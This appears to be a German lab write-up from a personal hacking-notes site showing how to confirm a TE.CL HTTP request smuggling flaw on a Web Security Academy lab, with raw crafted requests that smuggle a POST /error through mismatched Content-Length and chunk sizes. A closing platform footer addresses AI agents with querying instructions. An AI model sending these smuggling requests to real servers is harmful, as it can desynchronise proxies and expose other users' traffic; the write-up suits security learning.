> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/request-smuggling/confirmation-of-a-te-cl-vulnerability-by-differentialcls-responses.md).

# Bestätigung einer TE.CL-Schwachstelle durch differenzielle Antworten

### HTTP Request Smuggling, Bestätigung einer TE.CL-Schwachstelle durch unterschiedliche Antworten

Das **Front-End** Server akzeptiert Chunked Encoding, während das **Back-End** es nicht unterstützt. / Das Ziel ist es, eine maskierte Anfrage an den internen Server einzuschleusen und dann eine Anfrage an **/** um eine Antwort auszulösen **404 Nicht gefunden**, wodurch die Desynchronisierung bestätigt wird.

Obwohl die Anwendung die Verwendung von HTTP/2 erlaubt, beruht die ausnutzbare Technik ausschließlich auf **HTTP/1**HTTP/1.1-spezifischen Verhaltensweisen, was einen manuellen Protokollwechsel in Burp Repeater erfordert.

#### **Prinzip von TE.CL**

Um das Vorhandensein einer Schwachstelle zu testen **TE.CL**, werden die mit der Länge verknüpften Felder manipuliert. / Indem absichtlich ein **größerer Content-Length-Wert** als die tatsächliche Größe des Bodys festlegt, erzwingt man eine Verschiebung, die von beiden Servern unterschiedlich interpretiert wird. / Zum Beispiel kann ein tatsächlich 13 Byte großer Chunked-Body wie folgt deklariert werden:

```http
Content-Length: 15

3
abc
0


```

Das reicht aus, um eine Desynchronisierung zu verursachen.

<figure><img src="/files/847b532f71cb1cfc6dd7d5f494c50487d89d5702" alt=""><figcaption></figcaption></figure>

#### **Hexadezimale Chunk-Codierung**

Die folgende Fragmentgröße wird hexadezimal berechnet:

```http
POST /error HTTP/1.1
Test: A
```

<figure><img src="/files/5a4f79917a3efba4abbd953b80fa3be1f1ea3c59" alt=""><figcaption></figcaption></figure>

Ein erster Versuch besteht darin, nur die Größe des Chunks (4 Bytes) zu senden:

```http
POST / HTTP/1.1
Host: 0a69009304fd3c94803ed515004500a5.web-security-academy.net
Transfer-Encoding: chunked
Content-Length: 4

1d
POST /error HTTP/1.1
Test: A
0


```

Allerdings wird diese Version von den Servern nicht als zwei separate Anfragen behandelt, was die korrekte Funktion verhindert.

Um ein zuverlässiges Verhalten zu erreichen, muss das Back-End die eingeschleuste Anfrage als gültige HTTP-Anfrage interpretieren. / Das Feld **Content-Length** wird „aufgebläht“, während ein größerer Chunk gesendet wird:

```http
POST / HTTP/1.1
Host: 0a69009304fd3c94803ed515004500a5.web-security-academy.net
Transfer-Encoding: chunked
Content-Length: 4

38
POST /error HTTP/1.1
Content-Length: 20

testing=test
0


```

Durch das Senden dieser Anfrage **bei zwei Gelegenheiten**, kommt es zu einer Desynchronisierung und der Angriff funktioniert wie erwartet.

<figure><img src="/files/71244a7e1aa177ceeaae8ff4e534b45333db6e2f" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/request-smuggling/confirmation-of-a-te-cl-vulnerability-by-differentialcls-responses.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
